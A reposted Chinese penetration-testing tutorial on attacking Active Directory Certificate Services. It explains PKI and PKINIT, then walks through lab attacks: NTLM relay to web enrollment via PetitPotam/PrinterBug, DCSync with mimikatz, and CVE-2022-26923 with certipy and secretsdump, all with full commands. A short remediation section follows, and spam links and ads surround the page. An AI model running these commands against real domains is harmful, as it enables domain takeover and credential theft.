最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會(huì)員登陸 & 注冊(cè)

滲透測(cè)試 | 詳解ADCS證書服務(wù)攻擊手法

2023-06-13 15:56 作者:ZzZ阿宅ZzZ  | 我要投稿

漏洞背景

2021年6月17日,國(guó)外安全研究員 Will Schroeder 和 Lee Christensen 共同發(fā)布了針對(duì)ADCS(Active Directory Certificate Service, 活動(dòng)目錄證書服務(wù))的攻擊手法。同年8月5日,在Black Hat 2021上 Will Schroeder 和 Lee CHristensen 對(duì)該攻擊手法進(jìn)行了詳細(xì)講解。至此,ADCS攻擊第一次進(jìn)入人們的視野。

2022年5月10日,微軟發(fā)布5月份安全補(bǔ)丁更新,其中CVE-2022-26923漏洞引起了人們的注意,這是一個(gè)域內(nèi)權(quán)限提升漏洞,該漏洞允許低特權(quán)用戶在安裝了ADCS的默認(rèn)活動(dòng)目錄環(huán)境中將權(quán)限提升為域管理員,危害極大。

《500G黑客&網(wǎng)絡(luò)安全入門&進(jìn)階學(xué)習(xí)資源包》免費(fèi)分享

基礎(chǔ)知識(shí)

PKI

PKI(Public Key Infrastructure,公鑰基礎(chǔ)設(shè)施)是提供公鑰加密和數(shù)字簽名服務(wù)的系統(tǒng)或平臺(tái),是一個(gè)包括硬件、軟件、人員、策略和規(guī)程的集合,實(shí)現(xiàn)基于公鑰密碼體制的密鑰和證書的產(chǎn)生、管理、存儲(chǔ)、分布和撤銷等功能。企業(yè)通過采用KPI框架管理密鑰和證書,可以建立一個(gè)安全的網(wǎng)絡(luò)環(huán)境。

PKI的基礎(chǔ)技術(shù)包括公鑰加密、數(shù)字簽名、數(shù)據(jù)完整性機(jī)制、數(shù)字信封(混合加密)、雙重?cái)?shù)字簽名等。PKI體系能夠?qū)崿F(xiàn)的功能包括身份驗(yàn)證、數(shù)據(jù)完整性、數(shù)據(jù)機(jī)密性、操作的不可否認(rèn)性。

微軟的ADCS就是PKI的實(shí)現(xiàn),ADCS能夠與現(xiàn)有的ADDS進(jìn)行結(jié)合,用于身份驗(yàn)證、公鑰加密和數(shù)字簽名等。ADCS提供所有與PKI相關(guān)的組件作為角色服務(wù)。每個(gè)角色服務(wù)負(fù)責(zé)證書基礎(chǔ)架構(gòu)的特定部分,同時(shí)協(xié)同以工作形成完整的解決方案。

CA

CA(Certificate Authority,證書頒發(fā)機(jī)構(gòu))是PKI系統(tǒng)的核心,其作用包括處理證書申請(qǐng)、證書發(fā)放、證書更新、管理已頒發(fā)的證書、吊銷證書和發(fā)布證書吊銷列表(CRL)等。

ADCS中的CA有企業(yè)CA和獨(dú)立CA。企業(yè)CA必須是域成員,并且通常處于聯(lián)機(jī)狀態(tài)以頒發(fā)證書或證書策略。獨(dú)立CA可以是成員、工作組或域。獨(dú)立CA不需要ADDS,并且可以在沒有網(wǎng)絡(luò)的情況下使用。但是在域中基本都是使用企業(yè)CA,因?yàn)槠髽I(yè)CA可以和ADDS進(jìn)行結(jié)合,其信息也存儲(chǔ)在活動(dòng)目錄數(shù)據(jù)庫中。企業(yè)CA支持基于證書模塊創(chuàng)建證書和自動(dòng)注冊(cè)證書。

CA擁有公鑰和私鑰:

  • 私鑰只有CA知道,私鑰用于對(duì)頒發(fā)的證書進(jìn)行數(shù)字簽名

  • 公鑰任何人都可以知道,公鑰用于驗(yàn)證證書是否由CA頒發(fā)

那么,如何讓客戶端機(jī)器信任CA呢?

我們平時(shí)訪問https類型的網(wǎng)站,如百度,通過查看其證書可以看到它的根CA,并且顯示此證書有效,如圖所示:

由于已經(jīng)導(dǎo)入了我們系統(tǒng)信任的CA,因此通過該根CA頒發(fā)的所有證書都是可信的。如圖所示,可以看到我們系統(tǒng)信任的根CA,百度的根CA為GlobalSign Root CA。

而在活動(dòng)目錄中自己搭建的ADCS,由于安裝企業(yè)根CA時(shí),系統(tǒng)使用組策略將根CA添加到域內(nèi)所有機(jī)器的“受信任的根證書頒發(fā)機(jī)構(gòu)”中了,因此域內(nèi)機(jī)器默認(rèn)都信任此根CA頒發(fā)的證書。

如圖所示,在域內(nèi)機(jī)器上的“受信任的根證書頒發(fā)機(jī)構(gòu)”內(nèi)可以看到我們的根CA為hack-ADCS-CA

如圖所示,在根CA頒發(fā)的證書中可以看到已經(jīng)頒發(fā)的證書,以下證書應(yīng)用的網(wǎng)站會(huì)被域內(nèi)所有的機(jī)器信任。

如圖所示,在域內(nèi)機(jī)器上訪問Exchange郵箱服務(wù),可以看到提示安全連接。但如果在域內(nèi)機(jī)器訪問該Exchange郵箱服務(wù),會(huì)提示證書無效。

如圖所示,可以看到瀏覽器提示證書無效。因?yàn)橛蛲鈾C(jī)器并沒有在“受信任的根證書頒發(fā)機(jī)構(gòu)”中添加域內(nèi)搭建的根CA。

那么如何能讓域外的機(jī)器也信任域內(nèi)搭建的根CA頒發(fā)的證書呢?很簡(jiǎn)單,就是把我們域內(nèi)搭建的根CA的證書導(dǎo)入到系統(tǒng)中即可,操作如下:

1)訪問ADCS證書服務(wù)器的/certsrv/certcarc.asp路徑,單擊“下載CA證書”,如圖所示:

2)將下載的CA證書導(dǎo)入系統(tǒng)“受信任的根證書頒發(fā)機(jī)構(gòu)”中,并選擇“始終信任”選項(xiàng),如圖所示:

3)使用瀏覽器再次再次訪問Exchange郵箱服務(wù),即可看到信任此證書,顯示安全連接,如圖所示:

CA層次結(jié)構(gòu)

常見的CA層次結(jié)構(gòu)有兩個(gè)級(jí)別:根和二級(jí)CA。二級(jí)CA也叫子從屬CA。根CA位于頂級(jí),子從屬CA位于二級(jí)。在這種層次結(jié)構(gòu)下,根CA給子從屬CA頒發(fā)的證書認(rèn)證,子從屬CA給下面的應(yīng)用頒發(fā)和管理證書,根CA不直接給應(yīng)用頒發(fā)證書。

如圖所示是常見的CA層次結(jié)構(gòu):

CA的層次結(jié)構(gòu)有以下的優(yōu)點(diǎn):

  • 管理層次分明,便于集中管理,政策制定和實(shí)施

  • 提高CA中心的總體性能、減少瓶頸

  • 有充分的靈活性和可擴(kuò)展性

  • 有利于保證CA中心的證書驗(yàn)證效率

CRL

CRL(Certificate Revoncation List,證書作廢列表)即“證書黑名單”,在證書有效期期間、由于某種原因(如人員調(diào)動(dòng)、私鑰泄露等)導(dǎo)致相應(yīng)的數(shù)字證書內(nèi)容不再真實(shí)可信,此時(shí)需要進(jìn)行證書撤銷,說明該證書無效,CRL中列出了被撤銷的證書序列號(hào)。

《500G黑客&網(wǎng)絡(luò)安全入門&進(jìn)階學(xué)習(xí)資源包》免費(fèi)分享

PKINIT Kerberos認(rèn)證

在之前的Kerberos協(xié)議篇中我們講了在AS-REQ請(qǐng)求過程中,Kerberos域身份認(rèn)證使用的是用戶Hash加密時(shí)間戳。而ADCS與ADDS緊密配合使用,那么自然會(huì)猜想,能否利用證書來進(jìn)行Kerberos預(yù)身份認(rèn)證呢?

答案是可以的,在在RFC4556 Public Key Cryptography for Initial Authentication in Kerberos (PKINIT)?中引入了對(duì)Kerberos預(yù)身份驗(yàn)證的公鑰加密技術(shù)支持,可以使用證書的密鑰來進(jìn)行Kerberos預(yù)身份認(rèn)證。

如圖所示,使用Rubeus執(zhí)行如下命令用證書administrator.pfx進(jìn)行Kerberos認(rèn)證

Rubeus.exe asktgt /user:Administrator /certificate:administrator.pfx /domain:hack.com /dc:DC.hack.com

在認(rèn)證過程中使用wireshark抓包。如圖所示,可以看到在AS-REQ請(qǐng)求包的預(yù)認(rèn)證字段為pA-PK-AS-REQ。在這個(gè)階段,客戶端發(fā)送包含證書內(nèi)容的請(qǐng)求包,并使用證書私鑰對(duì)其進(jìn)行簽名作為預(yù)認(rèn)證數(shù)據(jù)。

KDC在收到客戶端發(fā)來的AS-REQ請(qǐng)求包后,使用證書的公鑰對(duì)簽名進(jìn)行校驗(yàn),校驗(yàn)通過后發(fā)送AS-REP回復(fù)包,其中包含krbtgt加密的TGT和證書公鑰加密的Logon Session Key。

注意到在微軟的官方文檔中有這樣一句話:為了支持連接到不支持Kerberos身份驗(yàn)證的網(wǎng)絡(luò)服務(wù)的應(yīng)用程序NTLM的身份驗(yàn)證,當(dāng)使用PKCA時(shí),KDC將在PAC特權(quán)屬性證書的PAC_CREDENTIAL_INFO緩沖區(qū)中返回用戶的NTLM Hash。

也就是說當(dāng)使用證書進(jìn)行Kerberos認(rèn)證時(shí),返回的票據(jù)的PAC中是包含用戶的NTLM Hash的。

如圖所示,使用kekeo執(zhí)行如下命令獲得administrator.pfx證書對(duì)應(yīng)的administrator用戶的NTLM Hash。

tgt::pac /subject:administrator /castore:current_user /domain:域名 /user:administrator /cred

后續(xù)無論administrator用戶密碼怎么更改,使用administrator.pfx證書獲取的administrator用戶的NTLM Hash都是最新的,因此,可以利用這一點(diǎn)進(jìn)行權(quán)限維持。

注意:使用kekeo獲取證書對(duì)應(yīng)用戶的NTLM Hash時(shí),需要先將證書導(dǎo)入到系統(tǒng)中。

證書模板

證書模板(Certificate templates)是CA的一個(gè)組成部分,是證書策略中的重要元素,是用于證書注冊(cè)、使用和管理的一組規(guī)則和格式。當(dāng)CA收到對(duì)證書的請(qǐng)求時(shí),必須對(duì)該請(qǐng)求應(yīng)用一組規(guī)則和設(shè)置,以執(zhí)行所請(qǐng)求的功能,例如證書頒發(fā)或更新。這些規(guī)則可以是簡(jiǎn)單的,也可以是復(fù)雜的,也可以適用于所有用戶或特定的用戶組。

證書模板是在CA上配置并應(yīng)用于傳入證書請(qǐng)求的一組規(guī)則和設(shè)置。證書模板還向客戶機(jī)提供了關(guān)于如何創(chuàng)建和提交有效的證書請(qǐng)求的說明?;谧C書模板的證書只能由企業(yè)CA頒發(fā)。這些模板存儲(chǔ)在ADDS中,以供林中的每個(gè)CA使用。這允許CA始終能夠訪問當(dāng)前標(biāo)準(zhǔn)模板,并確??缌謶?yīng)用一致。

證書模板通過允許管理員發(fā)布已為選定任務(wù)預(yù)先配置的證書,可以大大簡(jiǎn)化管理證書頒發(fā)機(jī)構(gòu)(CA)的任務(wù)。證書模板管理單元允許管理員執(zhí)行以下任務(wù):

  • 查看每個(gè)證書模板的屬性

  • 復(fù)制和修改證書模板

  • 控制哪些用戶和計(jì)算機(jī)可以讀取模板并注冊(cè)證書

  • 執(zhí)行與證書模板相關(guān)的其他管理任務(wù)

如圖所示,在ADCS服務(wù)器上執(zhí)行certmpl.msc命令打開證書模板控制臺(tái),可以看到系統(tǒng)默認(rèn)的證書模板。

如果想查看或修改某個(gè)模板的屬性,可以選中該模板,然后右擊,選擇“屬性”選項(xiàng)進(jìn)行查看。由于系統(tǒng)默認(rèn)的模板絕大部分不可修改的屬性,因此使用這種方式查看的模板屬性較少。我們可以通過復(fù)制模板操作來查看模板的更多的屬性,選中要查看屬性的模板,右擊,選擇“復(fù)制模板”選項(xiàng),會(huì)彈出“新模板的屬性”對(duì)話框,在該對(duì)話框中可以查看模板的全部屬性,如圖所示:

注意:系統(tǒng)默認(rèn)的證書模板絕大部分不允許修改,我們也不建議對(duì)系統(tǒng)默認(rèn)的證書模板進(jìn)行修改,如果想修改,建議先復(fù)制一個(gè)模板,然后在對(duì)其進(jìn)行修改。

上面提到了利用證書能進(jìn)行PKINIT Kerberos認(rèn)證,但是并不是所有的證書都能進(jìn)行PKINIT Kerberos認(rèn)證。那么,到底哪些模板的證書可用于Kerberos認(rèn)證呢?

在Certified_Pre-Owned.pdf中提到了具有以下擴(kuò)展權(quán)限的證書可以用于Kerberos認(rèn)證:

  • 客戶端身份驗(yàn)證,對(duì)應(yīng)的OID為1.3.6.1.5.5.7.3.2

  • PKINIT客戶端身份驗(yàn)證,對(duì)應(yīng)的OID為1.3.6.1.5.2.3.4

  • 智能卡登錄,對(duì)應(yīng)的OID為1.3.6.1.4.1.311.20.2.2

  • 任何目的,對(duì)應(yīng)的OID為2.5.29.37.0

  • 子CA

用戶模板

用戶模板是默認(rèn)的證書模板。如圖所示,可以看到其擴(kuò)展屬性里有客戶端身份驗(yàn)證,因此用戶模板申請(qǐng)的證書可以用于Kerberos身份認(rèn)證。如圖所示可以看到默認(rèn)情況下Domain Users都有權(quán)限注冊(cè)用戶模板的證書。

如圖所示,使用certipy執(zhí)行如下命令以普通用戶hack權(quán)限申請(qǐng)注冊(cè)一個(gè)用戶模板的證書。

certipy req -dc-ip 192.168.41.10 -u hack@hack.com -p Admin123 -target 192.168.41.60 -ca hack-SEVER2016-CA -template User -debug

計(jì)算機(jī)模板

計(jì)算機(jī)模板是默認(rèn)的證書模板。如圖所示,可以看到其擴(kuò)展屬性里有客戶端身份驗(yàn)證,因此計(jì)算機(jī)模板申請(qǐng)的證書可以用于Kerberos身份認(rèn)證。

如圖所示,可以看到默認(rèn)情況下Domain Computers都有權(quán)限注冊(cè)計(jì)算機(jī)模板的證書。

如圖所示,使用certipy執(zhí)行如下命令以普通機(jī)器用戶machine$權(quán)限申請(qǐng)注冊(cè)一個(gè)計(jì)算機(jī)模板的證書。

certipy req -u 'machine$'@hack.com -p pzxx2NLn8mvEQ9Zk -target 192.168.41.60 -ca hack-SEVER2016-CA -template ?Machine

證書注冊(cè)

現(xiàn)在來看看證書的注冊(cè)流程,如圖所示,是Will Schroeder和Lee Christensen發(fā)布的Certified_Pre-Owned白皮書里面畫的證書注冊(cè)流程:

從圖中可以看到,證書的注冊(cè)流程如下:

  • 1)客戶端生成一對(duì)公、私鑰

  • 2)客戶端生成證書簽名請(qǐng)求(CSR,Certificate Signing
    Request),里面包含客戶端生成的公鑰以及請(qǐng)求的證書模板、請(qǐng)求的主體等信息。整個(gè)CSR用客戶端的私鑰簽名,發(fā)送給CA

  • 3)CA收到請(qǐng)求后,從中取出公鑰對(duì)CSR進(jìn)行簽名校驗(yàn)。校驗(yàn)通過后判斷客戶證書注冊(cè)端請(qǐng)求的證書模板是否存在,如果存在,根據(jù)證書模板中的屬性判斷請(qǐng)求的主體是否有權(quán)限申請(qǐng)?jiān)撟C書。如果有權(quán)限,則還要根據(jù)其他屬性,如發(fā)布要求、使用者名稱、擴(kuò)展等屬性來生成證書。

  • 4)CA使用其私鑰簽名生成的證書并發(fā)送給客戶端

  • 5)客戶端存儲(chǔ)該證書在系統(tǒng)中

可以執(zhí)行certmgr.msc命令管理用戶證書,執(zhí)行certmgr.msc命令管理機(jī)器證書。在管理證書窗口可以進(jìn)行新證書的申請(qǐng)、查找和導(dǎo)入等操作。如圖所示分別是用戶證書管理窗口和機(jī)器證書管理窗口。


下面演示給用戶申請(qǐng)一個(gè)證書。執(zhí)行certmgr.msc命令打開用戶證書管理窗口,選擇“個(gè)人”--->“證書”,然后右擊,選擇“所有任務(wù)(K)”--->"申請(qǐng)新證書(R)" 選項(xiàng),如圖所示:

在彈出的”證書注冊(cè)“窗口選擇證書的模板,然后單擊"注冊(cè)“按鈕即可,如圖所示,這里選擇的是”Kerberos身份驗(yàn)證“模板。

證書注冊(cè)好以后,就可以在證書管理窗口看到,如圖所示:

還有一些其他接口也可用于證書的注冊(cè),在安裝ADCS時(shí)可供選擇,如網(wǎng)絡(luò)設(shè)備注冊(cè)服務(wù)、證書頒發(fā)機(jī)構(gòu)Web注冊(cè)、證書注冊(cè)Web服務(wù)。

在這里著重講一下證書頒發(fā)機(jī)構(gòu)Web注冊(cè)接口。

如果在安裝ADCS時(shí)勾選了”證書頒發(fā)機(jī)構(gòu)Web注冊(cè)“選項(xiàng),如圖所示,那么可以通過Web方式來申請(qǐng)證書。

如圖所示,訪問ADCS的 localhost/Certsrv/路徑即可該注冊(cè)的接口,需要輸入有效的用戶名和密碼進(jìn)行認(rèn)證。

輸入了有效的用戶名和密碼后,即可看到申請(qǐng)證書等功能,如圖所示:

導(dǎo)出證書

在某些場(chǎng)景下,我們需要導(dǎo)出的證書來運(yùn)行一些的操作。在導(dǎo)出證書前,需要先查看證書的Hash。因此需要先查看證書的信息。如下的命令可用于查看用戶證書和機(jī)器證書的信息。

#查看用戶證書 certutil -user -store My #查看機(jī)器證書 certutil -store My

如圖所示,查看用戶證書時(shí),需要記住證書信息中的Cert Hash(sha1)的內(nèi)容。

然后執(zhí)行如下的命令導(dǎo)出證書

#導(dǎo)出用戶證書 certutil -user -store My 證書的hash C:\user.cer #導(dǎo)出包含公私鑰的用戶證書,會(huì)要求輸入密碼 certutil -user -exportPFX 證書的hash C:\user.pfx #導(dǎo)出機(jī)器證書 certutil -store My 證書的hash C:\machine.cer #導(dǎo)出包含公私鑰的機(jī)器證書,會(huì)要求輸入密碼 certutil -exportPFX 證書的hash C:\machine.pfx

如圖所示,導(dǎo)出包含公私鑰的用戶證書,在這個(gè)過程中會(huì)要求輸入密碼,密碼可以任意設(shè)置。后續(xù)將這個(gè)證書導(dǎo)入系統(tǒng)的時(shí)候會(huì)要求輸入該密碼。

由于有些證書模板設(shè)置了私鑰不允許導(dǎo)出,如域控證書模板,因此使用該命令導(dǎo)出包含公鑰私鑰的證書時(shí)會(huì)失敗,如圖所示:


針對(duì)不允許導(dǎo)出私鑰的證書,如域控證書模板,可以使用mimikatz執(zhí)行如下的命令,結(jié)果如圖所示:

mimikatz.exe crypto::capi crypto::certificates /systemstore:local_machine /store:my /export

ADCS的安全問題

Web證書注冊(cè)接口NTLM Realy攻擊

漏洞原理

該漏洞產(chǎn)生的主要原因是ADCS支持Web注冊(cè),也就是ADCS服務(wù)在安裝的時(shí)候勾選了“證書頒發(fā)機(jī)構(gòu)Web注冊(cè)”選項(xiàng),導(dǎo)致用戶可以通過Web來申請(qǐng)注冊(cè)證書。而Web接口默認(rèn)只允許NTLM身份認(rèn)證,如圖所示:

由于HTTP類型的NTLM流量默認(rèn)是不簽名的,因此造成了NTLM Realy的攻擊。攻擊者可以利用Print Spooler漏洞或Petitpotam漏洞觸發(fā)目標(biāo)機(jī)器SMB類型的NTLM流量回連攻擊機(jī)器,然后再將這個(gè)SMB類型的NTLM流量中繼給Web注冊(cè)證書接口以目標(biāo)機(jī)器權(quán)限申請(qǐng)一個(gè)證書。攻擊者拿到該證書后就可以以目標(biāo)機(jī)器權(quán)限進(jìn)行Kerberos身份認(rèn)證了。

漏洞復(fù)現(xiàn)

以下演示通過NTLM Relay 攻擊如下不同的目標(biāo):

  • 域控

  • Exchange郵箱服務(wù)器

  • 域內(nèi)普通機(jī)器

為什么要選這三種機(jī)器呢? 由于使用了Print Spooler漏洞或者PetitPotam漏洞觸發(fā)的都是目標(biāo)機(jī)器賬戶的Hash,因此其通過NTLM中繼到證書注冊(cè)接口請(qǐng)求的證書也是機(jī)器賬戶的,而這三種機(jī)器賬戶的權(quán)限各有不同:

  • 域控的機(jī)器賬戶擁有DCSync權(quán)限,可以導(dǎo)出域內(nèi)任意用戶的Hash

  • Exchange郵箱服務(wù)器的機(jī)器賬戶可以直接用于遠(yuǎn)程登錄連接

  • 域內(nèi)普通機(jī)器賬戶可以結(jié)合基于資源的約束性委派進(jìn)行利用,獲得最高權(quán)限

實(shí)驗(yàn)環(huán)境如下:

  • 域控DC(同時(shí)也是證書服務(wù)器):192.168.41.10

  • 域控DC2:192.168.41.40

  • 郵箱服務(wù)器Exchange:192.168.41.50

  • 域內(nèi)普通機(jī)器Server2016:當(dāng)前登錄域普通用戶hack\hack,IP:192.168.41.60

  • 域內(nèi)普通機(jī)器Win10:192.168.41.15

  • 安全研究員機(jī)器:192.168.41.19

首先定位域內(nèi)證書服務(wù)器。執(zhí)行如下的命令定位證書服務(wù)器,如圖所示,可以看到定位到的證書服務(wù)器為DC.hack.com。

certutil -config - -ping

以下演示通過NTLM Relay+ADCS+PetitPotam/Print Spooler對(duì)域控進(jìn)行利用。

首先在安全研究員的機(jī)器中執(zhí)行如下的命令進(jìn)行監(jiān)聽:

python3 ntlmrelayx.py -t http://192.168.41.10/certsrv/certfnsh.asp -smb2support --adcs --template 'domain controller'

接著使用Print Spooler或PetitPotam漏洞觸發(fā)域控對(duì)DC2回連安全研究員的機(jī)器,如圖所示,使用Print Spooler漏洞觸發(fā)。

#使用PetitPotam漏洞觸發(fā) python3 PetitPotam.py -d hack.com -u hack -p Admin123 192.168.41.19 192.168.41.40 #使用Print Spooler漏洞觸發(fā) python3 printerbug.py hack/hack:Admin123@192.168.41.40 192.168.41.19

攻擊完成之后,就可以看到安全研究員的機(jī)器已經(jīng)收到了域控DC2連接過來的NTLM流量并成功中繼到了證書服務(wù)器。

如圖所示,可以看到成功打印出域控DC2 base64 格式的證書了

注意:如果打印出多個(gè)證書,隨便選擇一個(gè)即可

然后再域內(nèi)普通機(jī)器Server2016上使用Rubeus執(zhí)行如下的命令,以DC$的身份,證書為憑據(jù),請(qǐng)求TGT導(dǎo)入當(dāng)前的內(nèi)存中,并生成ticket.kirbi的TGT。

Rubeus.exe asktgt /user:DC2$ /ptt /nowrap /outfile:ticket.kirbi /certificate:打印出的的base64格式的證書

票據(jù)導(dǎo)入內(nèi)存中,就可以通過mimikatz運(yùn)行如下的命令使用DCSync功能導(dǎo)出域內(nèi)任意用戶的Hash了。

mimikatz.exe "lsadump::dcsync /domain:hack.com /user:krbtgt /csv" "exit"

如圖所示,可以看到請(qǐng)求的票據(jù)前無法通過mimikatz的DCSync功能導(dǎo)出域內(nèi)的任意用戶的Hash,請(qǐng)求票據(jù)成功后,導(dǎo)出成功。

攻擊Exchange郵箱服務(wù)器

以下演示通過NTLM Relay+ADCS+PetitPotam/Print Spooler對(duì)Exchange郵箱服務(wù)器進(jìn)行利用。

首先再安全研究員的機(jī)器中執(zhí)行如下的命令進(jìn)行監(jiān)聽:

python3 ntlmrelayx.py -t http://192.168.41.10/certsrv/certfnsh.asp -smb2support --adcs

接著使用PetitPotam/Print Spooler漏洞觸發(fā)Exchange郵箱服務(wù)器Exchange回連安全研究員的機(jī)器。

#使用PetitPotam漏洞觸發(fā) pyhon3 PetitPotam.py -d hack.com -p Admin123 192.168.41.19 192.168.41.50 #使用Print Spooler漏洞觸發(fā) python3 printerbug.py hack/hack:Admin123@192.168.41.50 192.168.41.19

利用完成之后,就可以看到安全研究員的機(jī)器收到了Exchange郵箱服務(wù)Exchange連接過來的NTLM流量并成功中繼給了證書服務(wù)器。

如圖所示,可以看到成功打印出Exchange郵箱服務(wù)器Exchange的base64格式的證書了。

接著再域內(nèi)普通機(jī)器Server2016上使用Rubeus運(yùn)行如下的命令,以Exchange$的身份,證書為憑據(jù),請(qǐng)求TGT導(dǎo)入當(dāng)前的內(nèi)存中,并生成ticket.kirbi的TGT。

Rubeus.exe asktgt /user:Exchange$ /ptt /nowrap /outfile:ticket.kirbi /certificate:打印出的的base64格式的證書

票據(jù)導(dǎo)入內(nèi)存中,就可以通過psexec.exe執(zhí)行如下的命令遠(yuǎn)程連接Exchange郵箱服務(wù)器Exchange了,如圖所示,成功獲得Exchange郵箱服務(wù)器Exchange的System權(quán)限。

PsExec.exe \\Exchange -s cmd.exe

攻擊域內(nèi)普通機(jī)器

以下演示通過NTLM Relay+ADCS+PetitPotam/Print Spooler+基于資源的約束性委派對(duì)域內(nèi)普通機(jī)器進(jìn)行利用。

首先在安全研究員的機(jī)器中執(zhí)行如下的命令進(jìn)行監(jiān)聽:

python3 ntlmrelayx.py -t http://192.168.41.10/certsrv/certfnsh.asp -smb2support --adcs

接著使用PetitPotam/Print Spooler漏洞觸發(fā)域內(nèi)普通機(jī)器Win10回連安全研究員的機(jī)器。

#使用PetitPotam漏洞觸發(fā) pyhon3 PetitPotam.py -d hack.com -p Admin123 192.168.41.19 192.168.41.15 #使用Print Spooler漏洞觸發(fā) python3 printerbug.py hack/hack:Admin123@192.168.41.15 192.168.41.19

利用完成之后,就可以看到安全研究員的機(jī)器收到了域內(nèi)普通機(jī)器Win10連接過來的NTLM流量并成功中繼給了證書服務(wù)器。

如圖所示,可以看到成功打印出域內(nèi)普通機(jī)器的Win10的base64格式證書了。

接著在域內(nèi)普通機(jī)器Server2016上使用Rubeus運(yùn)行如下的命令,以Win10$的身份,證書為憑據(jù),請(qǐng)求TGT導(dǎo)入當(dāng)前的內(nèi)存中,并生成ticket.kirbi的TGT。

Rubeus.exe asktgt /user:Win10$ /ptt /nowrap /outfile:ticket.kirbi /certificate:打印出的的base64格式的證書

票據(jù)導(dǎo)入內(nèi)存中,就可以通過相關(guān)工具創(chuàng)建機(jī)器的賬戶,然后配置創(chuàng)建的機(jī)器賬戶到機(jī)器Win10的基于資源的約束性委派。

add_rbcd_machine.exe domain=hack.com dc=DC.hack.com tm=Win10 ma=machine mp=root

如圖所示,可以看到導(dǎo)入證書后,配置基于資源的約束性委派成功。

接著使用Rebeus執(zhí)行如下的命令進(jìn)行基于資源的約束性委派的利用,以下administrator的權(quán)限請(qǐng)求cifs/win10.hack.com的ST。

Rubeus.exe s4u /user:machine$ /rc4:329153f560eb329c0eldeea55e88ale9 /domain:hack.com /msdsspn:cifs/Win10.hack.com /impersonateuser:administrator /ptt

如圖所示,進(jìn)行基于資源的約束性委派攻擊后,可成功訪問Win10

CVE-2022-26923域內(nèi)提權(quán)漏洞

漏洞原理

該漏洞產(chǎn)生的主要原因是ADCS服務(wù)器在處理計(jì)算機(jī)模板證書時(shí)是通過機(jī)器的dNSHostName屬性來辨別用戶的,而普通域用戶即有權(quán)限修改它所創(chuàng)建的機(jī)器賬戶dNSHostName屬性,因此惡意攻擊者可以創(chuàng)建一個(gè)機(jī)器賬戶,然后修改它的dNSHostName屬性為域控的dNSHostName,然后去請(qǐng)求計(jì)算機(jī)模板的證書。ADCS服務(wù)器在生成證書時(shí)會(huì)將域控的dNSHostName屬性寫入證書中。當(dāng)使用進(jìn)行PKINI Kerberos認(rèn)證時(shí),KDC會(huì)查詢活動(dòng)目錄中的sAMAccountName屬性為“dNSHostName-域名+$"的對(duì)象,此時(shí)會(huì)查詢到域控,因此會(huì)以域控機(jī)器賬戶的權(quán)限生成PAC放入票據(jù)中。由于域控機(jī)器賬戶默認(rèn)具有DCSync權(quán)限,因此攻擊者可以通過該票據(jù)導(dǎo)出域內(nèi)任意用戶的Hash。

機(jī)器賬戶請(qǐng)求計(jì)算機(jī)模板證書并進(jìn)行PKINI Kerberos認(rèn)證流程圖如圖所示:

漏洞復(fù)現(xiàn)

實(shí)驗(yàn)環(huán)境如下:

  • 域:hack.com

  • 域控:DC(192.168.41.10)

  • ADCS服務(wù)器(非域控,普通域內(nèi)機(jī)器):Sever2016(192.168.41.60)

  • CA名稱:hack-SEVER2016-CA

  • 普通域用戶:hack/hack:Admin123

首先在攻擊機(jī)器配置如下hosts

192.168.41.10 ? ? ?DC.hack.com

然后執(zhí)行如下的命令定位ADCS服務(wù)器,查詢結(jié)果如圖所示,主要記住Name和Server參數(shù)的值。

#在域內(nèi)的話,可以執(zhí)行如下命令定位證書服務(wù)器 certutil -config - -ping #或者下面的命令,不彈框定位 certutil -dump -v


接著執(zhí)行如下的命令利用用戶hack遠(yuǎn)程創(chuàng)建機(jī)器賬戶machine,并且設(shè)置其dnsHostname屬性為DC.hack.com,執(zhí)行結(jié)果如圖所示:

certipy account create -u hack@DC.hack.com -p Admin123 -dc-ip 192.168.41.10 -user "machine" -dns "DC.hack.com" -debug

可以從圖中看出我們所創(chuàng)建的機(jī)器賬戶密碼為ckHKXHOMLQEA0fSq

在執(zhí)行如下的命令以machine$身份請(qǐng)求一個(gè)Machine類型的證書,執(zhí)行結(jié)果如圖所示,由于機(jī)器賬戶的machine$的dnsHostname已經(jīng)設(shè)置為DC.hack.com,因此返回的是以域控DC身份請(qǐng)求的證書dc.pfx

certipy req -u 'machine$'@hack.com -p ckHKXHOMLQEA0fSq -target 192.168.41.60 -ca hack-SEVER2016-CA -template ?Machine

最后執(zhí)行如下的命令用dc.pfx證書進(jìn)行Kerberos認(rèn)證,從返回的票據(jù)PAC中得到域控DC機(jī)器的賬戶的NTLM Hash,如圖所示:

certipy auth -pfx dc.pfx -dc-ip 192.168.41.10 -debug

由于域控機(jī)器賬戶默認(rèn)再域內(nèi)DCSync權(quán)限,因此可以到處任意賬戶的NTLM Hash。如圖所示,可以導(dǎo)出域內(nèi)管理員的administration的NTLM Hash。

python3 secretsdump.py -hashes aad3b435b51404eeaad3b435b51404ee:209366c6c5292a7a6f3add57ad356ee5 "hack/DC\$@192.168.41.10" -just-dc-user administrator

漏洞預(yù)防和修復(fù)

對(duì)于防守方或藍(lán)隊(duì)來說,如何針對(duì)ADCS相關(guān)漏洞進(jìn)行預(yù)防和修復(fù)呢?企業(yè)人員可先查看企業(yè)內(nèi)網(wǎng)域內(nèi)網(wǎng)環(huán)境是否存在ADCS,如不存在則不影響,如果企業(yè)內(nèi)網(wǎng)域內(nèi)環(huán)境存在ADCS,則查看是否開啟了證書頒發(fā)機(jī)構(gòu)Web的功能,如果開啟了該功能,則查看該功能是否有必要。如無必要,關(guān)閉即可。如未開啟,則不受影響。同時(shí),對(duì)域環(huán)境進(jìn)行及時(shí)補(bǔ)丁更新以修補(bǔ)CVE-2022-26923漏洞。

《500G黑客&網(wǎng)絡(luò)安全入門&進(jìn)階學(xué)習(xí)資源包》免費(fèi)分享


滲透測(cè)試 | 詳解ADCS證書服務(wù)攻擊手法的評(píng)論 (共 條)

分享到微博請(qǐng)遵守國(guó)家法律
中山市| 永昌县| 镇江市| 右玉县| 金堂县| 兰西县| 曲麻莱县| 西丰县| 遂平县| 辉南县| 陵水| 延寿县| 通州区| 霍山县| 城市| 潼关县| 克东县| 焦作市| 永州市| 丰城市| 北川| 麟游县| 齐河县| 秦皇岛市| 仁寿县| 遂川县| 乌兰浩特市| 化州市| 江门市| 保亭| 天水市| 木兰县| 肃南| 兴业县| 涟水县| 永城市| 新乐市| 宜兴市| 深水埗区| 洪江市| 若尔盖县|